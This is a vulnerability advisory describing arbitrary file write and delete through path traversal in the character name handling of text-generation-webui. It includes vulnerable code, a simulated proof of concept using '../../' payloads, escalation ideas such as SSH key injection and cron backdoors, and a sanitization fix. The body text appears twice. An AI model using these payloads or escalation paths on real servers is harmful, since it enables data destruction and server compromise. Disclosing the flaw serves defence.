Arbitrary File Write/Delete via Path Traversal in Character Name
Summary
The character management functions in modules/chat.py use unsanitized user input (character name) directly in file path construction. An attacker can write YAML files with attacker-controlled content to arbitrary locations on the filesystem, or delete arbitrary files, by injecting path traversal sequences (../) into the character name. No authentication is required when the server is exposed via --listen.
Affected Component
- Repository: https://github.com/oobabooga/text-generation-webui (41,000+ stars)
- Files:
modules/chat.py:1521-1551 - upload_character(): arbitrary file write via char_name
modules/chat.py:1625-1637 - save_character(): arbitrary file write via filename
modules/chat.py:1640-1648 - delete_character(): arbitrary file delete via name
- Affected versions: All versions
Severity
CVSS 3.1: 9.1 (Critical)
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
- AV:N - Network accessible via Gradio API (when
--listen is used)
- AC:L - Simple path traversal, no special conditions
- PR:N - No authentication by default; Gradio API endpoints require no auth
- UI:N - Direct API call, no user interaction needed
- I:H - Arbitrary file write with attacker-controlled content
- A:H - Arbitrary file delete
Vulnerability Details
Location 1: upload_character() - Arbitrary File Write
# modules/chat.py:1521-1551
def upload_character(file, img_path, tavern=False):
img = open_image_safely(img_path)
decoded_file = file if isinstance(file, str) else file.decode('utf-8')
try:
data = json.loads(decoded_file)
except:
data = yaml.safe_load(decoded_file)
if 'char_name' in data:
name = data['char_name'] # Attacker-controlled, NO SANITIZATION
# ...
yaml_data = generate_character_yaml(name, greeting, context)
outfile_name = name # Used directly in path construction
# ...
with open(Path(f'user_data/characters/{outfile_name}.yaml'), 'w') as f:
f.write(yaml_data) # Writes to traversed path
When char_name is ../../PAYLOAD, the file is written to user_data/characters/../../PAYLOAD.yaml, escaping the character directory.
Location 2: save_character() - Arbitrary File Write
# modules/chat.py:1625-1637
def save_character(name, greeting, context, picture, filename):
data = generate_character_yaml(name, greeting, context)
filepath = Path(f'user_data/characters/{filename}.yaml') # No sanitization
save_file(filepath, data)
path_to_img = Path(f'user_data/characters/{filename}.png')
if picture is not None:
shutil.copy(picture, path_to_img) # Also traversable
Location 3: delete_character() - Arbitrary File Delete
# modules/chat.py:1640-1648
def delete_character(name, instruct=False):
for extension in ["yml", "yaml", "json"]:
delete_file(Path(f'user_data/characters/{name}.{extension}')) # No sanitization
for extension in ["png", "jpg", "jpeg"]:
delete_file(Path(f'user_data/characters/{name}.{extension}'))
Proof of Concept
import os, json, tempfile, shutil, yaml
from pathlib import Path
# Simulate the project directory structure
base_dir = tempfile.mkdtemp()
char_dir = os.path.join(base_dir, "user_data", "characters")
os.makedirs(char_dir)
# === ARBITRARY FILE WRITE via upload_character() ===
# Attacker uploads character JSON with traversal in char_name
malicious_json = json.dumps({
"char_name": "../../TRAVERSAL_PROOF",
"char_greeting": "Hello",
"char_persona": "Test",
"world_scenario": "",
"example_dialogue": ""
})
data = json.loads(malicious_json)
name = data['char_name'] # chat.py:1530
yaml_data = yaml.dump({'name': name, 'greeting': data['char_greeting']},
sort_keys=False)
outfile_name = name # chat.py:1538
# chat.py:1544 - writes to traversed path
target = Path(f'{char_dir}/{outfile_name}.yaml')
with open(target, 'w') as f:
f.write(yaml_data)
# Verify: file written OUTSIDE character directory
escaped_path = os.path.join(base_dir, "TRAVERSAL_PROOF.yaml")
assert os.path.exists(escaped_path), "Path traversal failed"
print(f"[+] File written to: {escaped_path}")
# Output: [+] File written to: /tmp/.../TRAVERSAL_PROOF.yaml
# === ARBITRARY FILE DELETE via delete_character() ===
critical_file = os.path.join(base_dir, "important.yaml")
with open(critical_file, 'w') as f:
f.write("critical: data")
# chat.py:1642-1643
for ext in ["yml", "yaml", "json"]:
p = Path(f'{char_dir}/../../important.{ext}')
if p.exists():
os.unlink(p)
assert not os.path.exists(critical_file)
print(f"[+] Deleted: {critical_file}")
# Output: [+] Deleted: /tmp/.../important.yaml
shutil.rmtree(base_dir)
Impact / Harm to Others
1. Remote Code Execution via file overwrite
text-generation-webui is commonly deployed on servers with --listen flag for remote access. The Gradio API requires no authentication by default. An attacker can overwrite Python source files or configuration files in the project directory to achieve code execution:
- Overwrite
settings.yaml to inject malicious settings
- Overwrite Python modules that are dynamically imported
- Overwrite extension scripts that are auto-loaded
2. Data destruction via arbitrary file delete
The delete_character() function can be used to delete any file the server process has permissions to delete. An attacker can:
- Delete model files (often multiple GB, time-consuming to re-download)
- Delete conversation histories and user data
- Delete system files if the server runs with elevated permissions
3. Denial of service
By deleting critical application files (shared.py, server.py, etc.), an attacker can permanently crash the server until files are restored.
4. Server compromise in cloud deployments
In cloud deployments, writing to specific paths can lead to:
- SSH key injection (
~/.ssh/authorized_keys)
- Cron job creation for persistent backdoors
- Service configuration manipulation
Remediation
Sanitize all character names and filenames before using them in path construction:
import re
def sanitize_filename(name):
"""Remove path traversal sequences and unsafe characters"""
# Remove path separators and traversal
name = name.replace('/', '').replace('\\', '').replace('..', '')
# Only allow safe characters
name = re.sub(r'[^\w\s\-.]', '', name)
# Verify the final path stays within the target directory
return name
# In upload_character():
name = sanitize_filename(data['char_name'])
# In save_character():
filename = sanitize_filename(filename)
# In delete_character():
name = sanitize_filename(name)
References
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-73: External Control of File Name or Path
Arbitrary File Write/Delete via Path Traversal in Character Name
Summary
The character management functions in
modules/chat.pyuse unsanitized user input (character name) directly in file path construction. An attacker can write YAML files with attacker-controlled content to arbitrary locations on the filesystem, or delete arbitrary files, by injecting path traversal sequences (../) into the character name. No authentication is required when the server is exposed via--listen.Affected Component
modules/chat.py:1521-1551-upload_character(): arbitrary file write viachar_namemodules/chat.py:1625-1637-save_character(): arbitrary file write viafilenamemodules/chat.py:1640-1648-delete_character(): arbitrary file delete vianameSeverity
CVSS 3.1: 9.1 (Critical)
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H--listenis used)Vulnerability Details
Location 1: upload_character() - Arbitrary File Write
When
char_nameis../../PAYLOAD, the file is written touser_data/characters/../../PAYLOAD.yaml, escaping the character directory.Location 2: save_character() - Arbitrary File Write
Location 3: delete_character() - Arbitrary File Delete
Proof of Concept
Impact / Harm to Others
1. Remote Code Execution via file overwrite
text-generation-webui is commonly deployed on servers with
--listenflag for remote access. The Gradio API requires no authentication by default. An attacker can overwrite Python source files or configuration files in the project directory to achieve code execution:settings.yamlto inject malicious settings2. Data destruction via arbitrary file delete
The
delete_character()function can be used to delete any file the server process has permissions to delete. An attacker can:3. Denial of service
By deleting critical application files (shared.py, server.py, etc.), an attacker can permanently crash the server until files are restored.
4. Server compromise in cloud deployments
In cloud deployments, writing to specific paths can lead to:
~/.ssh/authorized_keys)Remediation
Sanitize all character names and filenames before using them in path construction:
References